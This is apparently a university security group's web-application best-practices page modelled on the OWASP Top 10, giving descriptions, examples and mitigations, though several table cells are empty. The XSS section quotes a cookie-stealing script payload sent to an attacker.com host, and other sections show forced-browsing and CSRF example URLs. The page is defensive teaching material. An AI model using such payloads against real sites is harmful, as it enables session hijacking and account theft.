Web Application Best Practices
The Secure Web Applications Group has assembled a list of best practices to address the most common security threats currently plaguing web applications. We have modeled this list based on the OWASP list of top ten threats. Where applicable we have made recommendations specific to MSU's web environment.
Top 10 List
- Injection
- Cross Site Scripting (XSS)
- Failure to Restrict URL Access
- Insufficient Transport Layer Protection
- Insecure Direct Object References
- Cross Site request Forgery
- Unvalidated Redirects and Forwards
- Broken Authentication and Session Management
- Security Misconfiguration
- Insecure Cryptographic Storage
1. Injection next
| Description | Examples | Mitigation |
|---|---|---|
| Injection flaws, particularly SQL injection, are common in web applications. Injection occurs when user-supplied data is submitted as part of a command or query. The attacker’s hostile data tricks the application into executing unintended commands or changing data. |
|
Preventing injection requires keeping un-trusted data separate from commands and queries.
|
2. Cross Site Scripting (XSS)
previous|next
| Description | Examples | Mitigation |
|---|---|---|
| XSS flaws occur whenever an application takes user supplied data and sends it to a web browser without first validating or encoding that content. XSS allows attackers to execute script in the victim's browser that can hijack user sessions, deface web sites, possibly introduce worms, etc. |
The application uses un-trusted data in the construction of the following HTML snippet without validation or escaping:
(String) page += "<input name= ’ creditcard ’ type= ’ TEXT ’ value=’ " + request.getParameter("CC") + "’ > " ; The attacker modifies the ’CC’ parameter in their browser to: ’><script> document.location= ’http://www.attacker.com/cgi-bin/cookie.cgi?foo=’+document.cookie</script>’. This causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session. |
Preventing XSS requires keeping un-trusted data separate from active browser content.
|
3. Failure to Restrict URL Access
previous|next
| Description | Examples | Mitigation |
|---|---|---|
| Frequently, an application only protects sensitive functionality by preventing the display of links or URLs to unauthorized users. Attackers can use this weakness to access and perform unauthorized operations by accessing those URLs directly. |
The attacker simply force browses to target URLs. Consider the following URLs which are both supposed to require authentication. Admin rights are also required for access to the "admin_getappInfo" page.
http://example.com/app/getappInfo If the attacker is not authenticated, and access to either page is granted, then unauthorized access was allowed. If an authenticated, non-admin, user is allowed to access the "admin_getappInfo" page, this is a flaw, and may lead the attacker to more improperly protected admin pages. Such flaws are frequently introduced when links and buttons are simply not displayed to unauthorized users, but the application fails to protect the pages they target. |
Preventing unauthorized URL access requires selecting an approach for requiring proper authentication and proper authorization for each page. Frequently, such protection is provided by one or more components external to the application code. Regardless of the mechanism(s), all of the following are recommended:
|
4. Insufficient Transport Layer Protection
previous|next
| Description | Examples | Mitigation |
|---|---|---|
| Applications frequently fail to authenticate, encrypt, and protect the confidentiality and integrity of sensitive network traffic. When they do, they sometimes support weak algorithms, use expired or invalid certificates, or do not use them correctly. |
|
Providing proper transport layer protection can affect the site design. It’s easiest to require SSL for the entire site. For performance reasons, some sites use SSL only on private or sensitive pages. However the overhead of SSL is not that great and it is rarely worth the gain in performance considering the risk of not encrypting sensitive information. At a minimum, do all of the following:
|
5. Insecure Direct Object References
previous|next
| Description | Examples | Mitigation |
|---|---|---|
| Retrieval of a user record occurs in the system based on some key value that is under user control (e.g. a value the user submits or a URL string that can be manipulated by the user). The key would typically identify a user related record stored in the system and would be used to lookup that record for presentation to the user. It is likely that an attacker would have to be an authenticated user in the system. However, the authorization process would not properly check the data access operation to ensure that the authenticated user performing the operation has sufficient entitlements to perform the requested data access, hence bypassing any other authorization checks present in the system. |
The application uses unverified data in a SQL call that is accessing account information: String query = "SELECT * FROM accts WHERE account = ?"; The attacker simply modifies the ’acct’ parameter in their browser to send whatever account number they want. If not verified, the attacker can access any user’s account, instead of only the intended customer’s account. http://example.com/app/accountInfo?acct=notmyacct |
Preventing insecure direct object references requires selecting an approach for protecting each user accessible object (e.g., object number, filename):
|
6. Cross-Site Request Forgery (CSRF)
previous|next
| Description | Examples | Mitigation |
|---|---|---|
| When a web server is designed to receive a request from a client without any mechanism for verifying that it was intentionally sent, then it might be possible for an attacker to trick a client into making an unintentional request to the web server which will be treated as an authentic request. This can be done via a URL, image load, XMLHttpRequest, etc. and can result in data disclosure or unintended code execution. |
The application allows a user to submit a state changing request that does not include anything secret. Like so: http://example.com/app/transferFunds?amount=1500&destinationAccount=4673243243 So, the attacker constructs a request that will transfer money from the victim’s account to their account, and then embeds this attack in an image request or iframe stored on various sites under the attacker’s control. If the victim visits any of these sites while already authenticated to example.com, any forged requests will include the user’s session info, inadvertently authorizing the request. |
Preventing CSRF requires the inclusion of a unpredictable token in the body or URL of each HTTP request. Such tokens should at a minimum be unique per user session, but can also be unique per request.
|
7. Unvalidated Redirects and Forwards
previous|next
| Description | Examples | Mitigation |
|---|---|---|
| Web applications frequently redirect and forward users to other pages and websites, and use un-trusted data to determine the destination pages. Without proper validation, attackers can redirect victims to phishing or malware sites, or use forwards to access unauthorized pages. |
|
Safe use of redirects and forwards can be done in a number of ways:
|
8. Broken Authentication and Session Management
previous|next
| Description | Examples | Mitigation |
|---|---|---|
| Authentication and session management includes all aspects of handling user authentication and managing active sessions. Authentication is a critical aspect of this process, but even solid authentication mechanisms can be undermined by flawed credential management functions, including password change, forgot my password, remember my password, account update, and other related functions. Because "walk by" attacks are likely for many web applications, all account management functions should require re-authentication even if the user has a valid session id. |
|
When possible MSU applications should authenticate users against the MSU directory using netid and password. If netid’s are stored for authorization purposes they must be encrypted. By relying on the directory server to authenticate users many of the preventative measures listed below are met. When possible applications should not rely on their own authentication mechanism but should use provided authentication tools. Contact websecurity@montana.edu for more information about the recommended authentication tools.
|
9. Security Misconfiguration
previous|next
| Description | Examples | Mitigation |
|---|---|---|
| Responsibly managing Web application security often involves the expertise of both developers and administrators and require members from both sides of the project to properly ensure the security of a site’s application. This is the case with respect to configuration. The Secure Web Applications Group (SWAG) is a forum where developers and administrators can get together monthly to discuss such issues. |
|
The primary recommendations for developers are to establish all of the following:
|
10. Insecure Cryptographic Storage
previous
| Description | Examples | Mitigation |
|---|---|---|
| The first thing you have to determine is which data is sensitive enough to require encryption. For example, passwords, account names, student records, health records, and personal information should be encrypted anywhere it is stored long term. |
|
For all data deamed sensitive or confidential ensure :
|

